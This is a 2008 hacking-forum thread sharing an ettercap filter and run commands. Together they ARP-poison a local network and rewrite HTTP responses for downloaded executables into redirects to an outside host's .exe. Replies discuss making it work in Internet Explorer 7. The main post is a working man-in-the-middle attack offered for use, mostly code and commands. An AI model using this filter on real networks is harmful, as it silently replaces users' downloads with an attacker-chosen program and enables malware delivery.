|
|
||||||||||||
| Programming A place for our community to discuss their own security related coding projects. |
|
|
LinkBack | Thread Tools |
|
Old
08-06-2008, 11:39 AM
|
|||
|
|||
|
Cool
ettercap OWNAGED replace all exe's DL'ed
VIDEO:
http://blip.tv/file/1185726/ * works in firefox great * works in opera but after about 10seconds ( this is reasonable ) * works in IE7 Code:
# replace rmccurdy with your website
# replace the url with what ever exe you like
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
# enable for logging log(DECODED.data, "/tmp/log.log");
msg("found EXE\n");
# "Win32" is the first part of the exe example:
# if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://www.rmccurdy.com/scripts/quickclean.exe
");
msg("redirect success\n");
}
}
for example on howto use etterfilter/ettercap / more goodies: Own Full patched XP box via HTTP Code:
# etterfilter makes the exe.ef to use with ettercap etterfilter exe.filter -o exe.ef # run ettercap on target ettercap -T -q -F exe.ef -M ARP // // -P autoadd Last edited by operat0r; 10-20-2008 at 11:01 AM. |
|
Old
08-06-2008, 01:39 PM
|
||||
|
||||
|
Default
Quote:
Quote:
Quote:
I would assume that it'd be \n as \r is just a hard coded "Enter" correct? I'll tfiddle around with it in a while and let you know the outcome.
__________________
"The goal of every man should be to continue living even after he can no longer draw breath." ~ShadowKill Last edited by balding_parrot; 10-20-2008 at 05:27 PM. |
|
Old
08-19-2008, 12:36 PM
|
|||
|
|||
|
Default
Ok so got it working in IE7 not sure if I need 1/2 the code in the filter but it works so have fun !
I added code to make the filter and run ettercap Last edited by balding_parrot; 10-20-2008 at 05:27 PM. |
| Bookmarks |
| Thread Tools | |
|
|
|
|
| -- Original Default -- backtrack -- black-orange -- red-black | -- Deutsch -- English (US) -- Italian -- Spanish |